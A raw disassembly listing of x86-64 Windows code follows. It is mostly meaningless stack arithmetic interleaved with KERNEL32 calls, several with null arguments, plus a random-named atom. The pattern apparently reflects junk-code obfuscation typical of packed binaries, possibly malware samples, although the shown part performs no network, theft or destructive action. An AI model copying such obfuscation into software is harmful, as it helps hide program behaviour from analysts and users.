mov word [rsp + 0x1f48], ax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9a]
and eax, ecx
mov byte [rsp + 0x785], al
mov rcx, qword [rsp + 0x198b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcd28], eax
mov eax, dword [rsp + 0xb418]
mov ecx, dword [rsp + 0x93c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc538], eax
mov rax, qword [0x1402bf768]
mov eax, dword [rax]
mov dword [rsp + 0xce64], eax
lea rax, [rsp + 0x35e0]
mov qword [0x1402bf728], rax
mov rax, qword [rsp + 0x19880]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x198c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x786], al
movzx eax, byte [rsp + 0x666]
mov byte [rsp + 0x797], al
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x198e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x35c0], ax
mov eax, dword [rsp + 0xce4c]
mov rcx, qword [rsp + 0x19910]
mov qword [rsp + 0x19920], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19920]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xcde8], eax
mov eax, dword [rsp + 0xcd10]
mov ecx, dword [0x1402ad638]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xca14], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0x198b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x198e0]
mov qword [rsp + 0x19928], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19928]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x198e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
mov dword [rsp + 0xce68], eax
mov rax, qword [0x1402bf750]
mov ecx, dword [rsp + 0xa528]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x19888]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
mov word [rsp + 0x361c], ax
movzx eax, byte [rsp + 0x784]
mov byte [0x1402bf720], al
mov rax, qword [rsp + 0x19710]
mov rcx, qword [0x1402bf760]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcdf4], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcdcc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9148], eax
mov rax, qword [rsp + 0x19888]
mov eax, dword [rax]
mov dword [rsp + 0xce6c], eax
mov eax, dword [0x1402bf748]
mov ecx, dword [rsp + 0xcdd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcda8], eax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x793]
sub eax, ecx
mov byte [rsp + 0x43a], al
mov r9d, 1
lea r8, [rsp + 0x19778]
mov rdx, qword [rsp + 0x19738]
mov rcx, qword [rsp + 0x19838]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xce70], eax
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
mov rcx, qword [0x1402bf730]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x197a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x19898]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x789]
add eax, ecx
mov byte [rsp + 0x791], al
movzx eax, word [rsp + 0x35e0]
mov word [rsp + 0x3620], ax
mov rax, qword [rsp + 0x19910]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402bf748], eax
mov rax, qword [rsp + 0x198a8]
mov ecx, dword [rsp + 0xce28]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xce3c], eax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
mov byte [rsp + 0x798], al
movzx eax, word [rsp + 0x35f0]
movzx ecx, word [0x1402ad650]
sub eax, ecx
mov word [rsp + 0x361c], ax
mov rax, qword [rsp + 0x19750]
mov ecx, dword [rsp + 0xcde0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcd1c], eax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19710]
mov qword [rsp + 0x19930], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19930]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9354], eax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xc538]
shl eax, cl
mov dword [rsp + 0xa528], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov dword [rsp + 0xce74], eax
movzx eax, word [rsp + 0x3610]
movzx ecx, word [rsp + 0x35f8]
xor eax, ecx
mov word [rsp + 0x18d8], ax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acb4f], al
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov dword [rsp + 0xce78], eax
mov rax, qword [rsp + 0x19740]
mov ecx, dword [rsp + 0xcdf8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xce40], eax
mov rax, qword [rsp + 0x198c0]
mov rcx, qword [rsp + 0x198a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa958], eax
mov rax, qword [rsp + 0x19740]
mov rcx, qword [rsp + 0x198b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8128], eax
mov rax, qword [rsp + 0x19850]
mov eax, dword [rax]
mov ecx, dword [0x1402ad634]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19768]
movzx eax, word [rax]
mov word [rsp + 0x3624], ax
mov rax, qword [rsp + 0x19898]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x198c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x790], al
movzx eax, byte [0x1402acb47]
movzx ecx, byte [rsp + 0x785]
sub eax, ecx
mov byte [rsp + 0x78d], al
lea rcx, str.ld75Oq_MZpLkzM_VQG5
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x35e8], ax
lea rcx, [rsp + 0x2af28]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x25b8]
sub eax, ecx
mov word [0x1402ad640], ax
mov eax, dword [0x1402ad638]
mov dword [rsp + 0xce7c], eax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xc264], eax
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19848]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1ea4], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x787]
and eax, ecx
mov byte [rsp + 0x783], al
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcdd8]
sar eax, cl
mov dword [rsp + 0xce20], eax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov dword [rsp + 0xce80], eax
mov rax, qword [0x1402bf750]
mov ecx, dword [rsp + 0xcb44]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9f6c], eax
lea rax, [rsp + 0xce08]
mov qword [rsp + 0x19938], rax
movzx eax, word [rsp + 0x35e4]
movzx ecx, word [rsp + 0x35c0]
shl eax, cl
mov word [0x1402ad660], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4ac0
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xce84], eax
lea rdx, [rsp + 0x19720]
mov rcx, qword [rsp + 0x19838]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xcd24], eax
movzx eax, byte [rsp + 0x78a]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x795], al
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xcdd4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov dword [rsp + 0xce88], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x19880]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x475]
sub eax, ecx
mov rcx, qword [rsp + 0x19898]
mov byte [rcx], al
lea rax, [rsp + 0x35b4]
mov qword [rsp + 0x19940], rax
movzx eax, word [rsp + 0x308c]
movzx ecx, word [0x1402ad640]
and eax, ecx
mov word [rsp + 0x2dd4], ax
lea rax, [rsp + 0x787]
mov qword [rsp + 0x19948], rax
mov rax, qword [rsp + 0x19910]
mov ecx, dword [rsp + 0xc264]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x196e0]
mov dword [rcx], eax
lea rax, [rsp + 0xce34]
mov qword [0x1402bf718], rax
mov rax, qword [0x1402bf750]
mov rcx, qword [rsp + 0x198c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9c0c], eax
mov eax, dword [rsp + 0xcdf4]
mov ecx, dword [rsp + 0xce24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa25c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [0x1402bf750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcde0], eax
movzx ecx, word [rsp + 0x35e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35d4], ax
mov r9d, 1
lea r8, [rsp + 0x19718]
mov rdx, qword [rsp + 0x197a0]
mov rcx, qword [rsp + 0x19838]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xce8c], eax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov word [rsp + 0x3628], ax
movzx eax, byte [rsp + 0x3be]
movzx ecx, byte [rsp + 0x9a]
sub eax, ecx
mov byte [rsp + 0x796], al
mov rax, qword [rsp + 0x19780]
mov rcx, qword [0x1402bf750]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9148], eax
mov rax, qword [rsp + 0x19910]
mov eax, dword [rax]
mov dword [rsp + 0xce90], eax
mov rax, qword [rsp + 0x198e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb418]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xce60], eax
mov rax, qword [0x1402bf718]
mov rcx, qword [rsp + 0x19938]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad64c], eax
lea rax, [rsp + 0x35a8]
mov qword [rsp + 0x19950], rax
movzx eax, byte [rsp + 0x788]
movzx ecx, byte [rsp + 0x9a]
xor eax, ecx
mov byte [rsp + 0x78f], al
mov rax, qword [rsp + 0x19880]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x19880]
mov byte [rcx], al
movzx eax, word [rsp + 0x35ac]
mov word [rsp + 0x362c], ax
mov rax, qword [rsp + 0x19910]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcd10], eax
mov eax, dword [rsp + 0x8128]
mov rcx, qword [0x1402bf750]
mov qword [rsp + 0x19958], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19958]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xac04], eax
movzx eax, word [rsp + 0x35fc]
mov rcx, qword [rsp + 0x198e8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x308c], ax
movzx eax, byte [rsp + 0x785]
mov byte [rsp + 0x799], al
mov rcx, qword [rsp + 0x19748]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xcdb8], eax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9354]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad664], eax
mov eax, dword [rsp + 0x9c50]
mov ecx, dword [rsp + 0xcd70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce68], eax
mov rax, qword [rsp + 0x19938]
mov eax, dword [rax]
mov ecx, dword [0x1402ad658]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce6c], eax
mov eax, dword [rsp + 0xc264]
mov dword [rsp + 0xce94], eax
movzx eax, byte [rsp + 0x78c]
mov rcx, qword [rsp + 0x19908]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x799], al
movzx eax, word [0x1402ad648]
mov rcx, qword [rsp + 0x19858]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3264], ax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdcc], eax
mov eax, dword [0x1402bf770]
mov ecx, dword [rsp + 0xce3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xac04], eax
mov eax, dword [rsp + 0xc264]
mov dword [rsp + 0xce98], eax
mov rax, qword [rsp + 0x19888]
mov rcx, qword [rsp + 0x198e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad658], eax
mov rax, qword [rsp + 0x198c0]
mov ecx, dword [0x1402bf788]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa970], eax
lea rax, [rsp + 0x3624]
mov qword [rsp + 0x19960], rax
movsx eax, byte [rsp + 0x55e]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x78b], al
movzx eax, word [0x1402bf738]
mov rcx, qword [rsp + 0x198e8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3608], ax
movzx eax, byte [rsp + 0x783]
mov byte [rsp + 0x79a], al
mov rax, qword [rsp + 0x19910]
mov ecx, dword [rsp + 0xa2e8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcdf4], eax
mov eax, dword [rsp + 0x9148]
mov rcx, qword [rsp + 0x19740]
mov qword [rsp + 0x19968], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19968]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xad2c], eax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2dd4]
or eax, ecx
mov word [rsp + 0x3628], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf778]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [0x1402acb4e], al
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce04]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xc8f4], eax
mov eax, dword [rsp + 0xcd3c]
mov dword [rsp + 0xce9c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [0x1402bf770]
mov ecx, dword [rsp + 0xcd3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c0c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov eax, dword [rsp + 0xce24]
mov dword [rsp + 0xcea0], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x197e0], rax
movzx eax, word [rsp + 0x3618]
movzx ecx, word [rsp + 0x35a8]
add eax, ecx
mov word [rsp + 0x3600], ax
mov rax, qword [0x1402bf778]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x45b], al
mov rax, qword [rsp + 0x198a8]
mov ecx, dword [rsp + 0xc224]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce00], eax
mov rax, qword [rsp + 0x19938]
mov rcx, qword [rsp + 0x198a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcd70], eax
mov rax, qword [rsp + 0x19898]
movzx eax, byte [rax]
mov byte [0x1402bf712], al
mov rax, qword [rsp + 0x19890]
movzx eax, word [rax]
mov word [rsp + 0x3630], ax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
imul eax, eax, 0x22
mov byte [rsp + 0x45b], al
movzx eax, word [rsp + 0x360c]
mov word [rsp + 0x3634], ax
mov eax, dword [rsp + 0xbac8]
mov ecx, dword [rsp + 0xce4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcce4], eax
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0xce1c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xce24], eax
lea rdx, [rsp + 0x19970]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xcd50], eax
mov eax, dword [0x1402bf788]
mov dword [rsp + 0xcea4], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce00], eax
mov rax, qword [rsp + 0x198c0]
mov ecx, dword [rsp + 0xcd3c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e08], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3264]
xor eax, ecx
mov word [rsp + 0x35c0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
movzx eax, byte [rsp + 0x798]
movzx ecx, byte [rsp + 0x78f]
sar eax, cl
mov byte [str.yR__], al
mov eax, dword [rsp + 0xbac8]
mov ecx, dword [0x1402ad664]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xce94], eax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov dword [rsp + 0xcea8], eax
mov eax, dword [rsp + 0xcdfc]
mov rcx, qword [rsp + 0x19750]
mov qword [rsp + 0x19978], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19978]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xad2c], eax
mov eax, dword [0x1402ad644]
mov dword [rsp + 0xceac], eax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3be]
cdq
idiv ecx
mov byte [rsp + 0x794], al
lea rdx, [rsp + 0x2bfd0]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcd50], eax
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x35f4], ax
mov rax, qword [0x1402bf728]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2f5c]
sub eax, ecx
mov word [rsp + 0x3150], ax
mov rax, qword [rsp + 0x19880]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x782]
sub eax, ecx
mov byte [rsp + 0x786], al
mov rax, qword [rsp + 0x19910]
mov ecx, dword [0x1402ad65c]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad664], eax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
mov dword [rsp + 0xceb0], eax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19908]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x797], al
movzx eax, word [rsp + 0x35c0]
mov word [rsp + 0x3638], ax
mov rax, qword [rsp + 0x19780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xce10], eax
mov eax, dword [rsp + 0xca14]
mov ecx, dword [rsp + 0xa2e8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xbac8], eax
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x19850]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb4b0], eax
mov eax, dword [rsp + 0xce10]
mov ecx, dword [rsp + 0xce48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce74], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov word [rsp + 0x363c], ax
movzx eax, byte [rsp + 0x187]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acb5b], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x196e0]
mov ecx, dword [rsp + 0x9354]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xce98], eax
mov rax, qword [0x1402bf768]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xce64]
shl eax, cl
mov dword [rsp + 0xce60], eax
lea rax, [rsp + 0xcb44]
mov qword [rsp + 0x19980], rax
mov eax, dword [rsp + 0xce6c]
mov ecx, dword [rsp + 0xc538]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xce58], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov dword [rsp + 0xceb4], eax
lea rcx, [rsp + 0x2af50]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, byte [rsp + 0x475]
mov rcx, qword [rsp + 0x19880]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x791], al
movsx eax, word [rsp + 0x35e0]
movsx ecx, word [rsp + 0x35a4]
and eax, ecx
mov rcx, qword [rsp + 0x19890]
mov word [rcx], ax
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xcdec], eax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x783]
imul eax, ecx
mov byte [rsp + 0xc2], al
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19858]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad640], ax
mov eax, dword [0x1402ad638]
mov ecx, dword [rsp + 0xce4c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19910]
mov dword [rcx], eax
lea rcx, [rsp + 0x19778]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov eax, dword [rsp + 0xce78]
mov dword [rsp + 0xceb8], eax
movzx eax, byte [rsp + 0x783]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x794], al
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov word [rsp + 0x3640], ax
mov rax, qword [0x1402bf768]
mov rcx, qword [rsp + 0x198e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce5c], eax
mov eax, dword [rsp + 0xa25c]
mov ecx, dword [rsp + 0xce90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd10], eax
mov rax, qword [rsp + 0x198a8]
mov ecx, dword [rsp + 0xce3c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9f50], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xcebc], eax
mov rax, qword [rsp + 0x198e0]
mov rcx, qword [rsp + 0x198a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xce00], eax
movzx eax, byte [rsp + 0x78a]
mov byte [0x1402bf711], al
lea rdx, [rsp + 0x2d2a0]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcd50], eax
mov rax, qword [0x1402bf730]
movzx eax, word [rax]
mov word [rsp + 0x3644], ax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xceb8], eax
mov rax, qword [rsp + 0x19750]
mov ecx, dword [rsp + 0xcb44]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xce18], eax
mov rax, qword [rsp + 0x19960]
movzx eax, word [rax]
mov word [rsp + 0x3648], ax
movsx eax, byte [rsp + 0x475]
movsx ecx, byte [rsp + 0x790]
sar eax, cl
mov byte [rsp + 0x55e], al
movzx eax, word [rsp + 0x3634]
mov word [rsp + 0x364c], ax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x794], al
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9354]
shl eax, cl
mov rcx, qword [rsp + 0x19910]
mov dword [rcx], eax
mov rax, qword [0x1402bf718]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce3c]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad668], eax
lea rcx, [rsp + 0x197a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x19980]
mov ecx, dword [rsp + 0xc538]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xc330], eax
mov rax, qword [rsp + 0x19710]
mov ecx, dword [rsp + 0xc264]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x196e0]
mov dword [rcx], eax
mov eax, dword [0x1402ad64c]
mov dword [rsp + 0xcec0], eax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x78c]
sub eax, ecx
mov byte [rsp + 0x788], al
movzx eax, word [rsp + 0x1ea4]
mov rcx, qword [rsp + 0x19950]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x197a8]
mov word [rcx], ax
lea rax, [rsp + 0xce14]
mov qword [rsp + 0x19988], rax
mov eax, dword [rsp + 0xce04]
mov ecx, dword [rsp + 0xce94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd10], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov dword [rsp + 0xcec4], eax
mov eax, dword [rsp + 0xcea4]
mov ecx, dword [rsp + 0xcec0]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x1402bf750]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1a18]
movzx ecx, word [rsp + 0x2964]
sub eax, ecx
mov word [rsp + 0x1f48], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x65e], al
movsx eax, byte [rsp + 0x55e]
mov rcx, qword [rsp + 0x198c8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x786], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x19990], rax
movsx eax, word [rsp + 0x3624]
movsx ecx, word [rsp + 0x35a4]
xor eax, ecx
mov rcx, qword [rsp + 0x19890]
mov word [rcx], ax
mov eax, dword [0x1402ad664]
mov dword [rsp + 0xcec8], eax
mov eax, dword [rsp + 0xce40]
mov rcx, qword [rsp + 0x19980]
mov qword [rsp + 0x19998], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19998]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xce20], eax
lea rax, [rsp + 0x3640]
mov qword [rsp + 0x199a0], rax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x45b]
or eax, ecx
mov byte [rsp + 0x3be], al
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xccf8], eax
mov eax, dword [rsp + 0xca14]
mov rcx, qword [rsp + 0x196e0]
mov qword [rsp + 0x199a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x199a8]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402ad66c], eax
mov eax, dword [rsp + 0x9148]
mov ecx, dword [rsp + 0xce74]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19750]
mov dword [rcx], eax
mov rax, qword [0x1402bf768]
mov eax, dword [rax]
mov dword [rsp + 0xcecc], eax
mov rax, qword [rsp + 0x19910]
mov ecx, dword [rsp + 0xce78]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcec8], eax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
